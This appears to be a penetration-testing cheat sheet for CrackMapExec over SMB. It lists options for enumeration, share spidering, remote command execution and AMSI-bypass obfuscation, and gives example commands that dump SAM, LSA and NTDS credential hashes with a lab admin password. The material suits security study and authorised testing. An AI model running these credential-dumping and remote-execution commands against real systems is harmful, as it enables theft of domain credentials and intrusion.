Options for Mapping/Enumerating

  --shares              enumerate shares and access
  --sessions            enumerate active sessions
  --disks               enumerate disks
  --loggedon-users-filter LOGGEDON_USERS_FILTER
                        only search for specific user, works with regex
  --loggedon-users      enumerate logged on users
  --users [USER]        enumerate domain users, if a user is specified than only its information is queried.
  --groups [GROUP]      enumerate domain groups, if a group is specified than its members are enumerated
  --computers [COMPUTER]
                        enumerate computer users
  --local-groups [GROUP]
                        enumerate local groups, if a group is specified then its members are enumerated
  --pass-pol            dump password policy
  --rid-brute [MAX_RID]
                        enumerate users by bruteforcing RID's (default: 4000)
  --wmi QUERY           issues the specified WMI query
  --wmi-namespace NAMESPACE
                        WMI Namespace (default: root\cimv2)

Credential Gathering

Options for gathering credentials

  --enabled             Only dump enabled targets from DC
  --user USERNTDS       Dump selected user from DC
  --sam                 dump SAM hashes from target systems
  --lsa                 dump LSA secrets from target systems
  --ntds [{drsuapi,vss}] dump the NTDS.dit from target DCs using the
   specifed method (default: drsuapi)

Dumping SAM database

crackmapexec smb -u 'Administrator' -p 'pop!lab' --sam

Dumping LSA Database

crackmapexec smb -u 'Administrator' -p 'pop!lab' --lsa


crackmapexec smb -u 'Administrator' -p 'pop!lab' --ntds drsuapi

Dumping NTDS – VSS

crackmapexec smb -u 'Administrator' -p 'pop!lab' --ntds vss


Options for spidering shares

  --spider SHARE        share to spider
  --spider-folder FOLDER
                        folder to spider (default: root share directory)
  --content             enable file content searching
  --exclude-dirs DIR_LIST
                        directories to exclude from spidering
  --pattern PATTERN [PATTERN ...]
                        pattern(s) to search for in folders, filenames and file content
  --regex REGEX [REGEX ...]
                        regex(s) to search for in folders, filenames and file content
  --depth DEPTH         max spider recursion depth (default: infinity & beyond)
  --only-files          only spider files

Hacking Authentication

brute force passwords

Pass the Hash

Password Spraying

Managing Files

Options for put and get remote files

  --put-file FILE FILE  Put a local file into remote target, ex: whoami.txt \\Windows\\Temp\\whoami.txt
  --get-file FILE FILE  Get a remote file, ex: \\Windows\\Temp\\whoami.txt whoami.txt

Remote Command Execution

Command Execution:
  Options for executing commands

  --exec-method {wmiexec,smbexec,atexec,mmcexec}
                        method to execute the command. Ignored if in MSSQL mode (default: wmiexec)
  --codec CODEC         Set encoding used (codec) from the target's output (default "utf-8"). If errors are detected, run at the target, map the result with
               and then execute again with --codec and the corresponding codec
  --force-ps32          force the PowerShell command to run in a 32-bit process
  --no-output           do not retrieve command output
  -x COMMAND            execute the specified command
  -X PS_COMMAND         execute the specified PowerShell command

Powershell Obfuscation

Options for PowerShell script obfuscation

  --obfs                Obfuscate PowerShell scripts
  --amsi-bypass FILE    File with a custom AMSI bypass
  --clear-obfscripts    Clear all cached obfuscated PowerShell scripts

Reverse Shells

CrackMapExec Samba Modules

crackmapexec smb -L

Last Update: January 29, 2024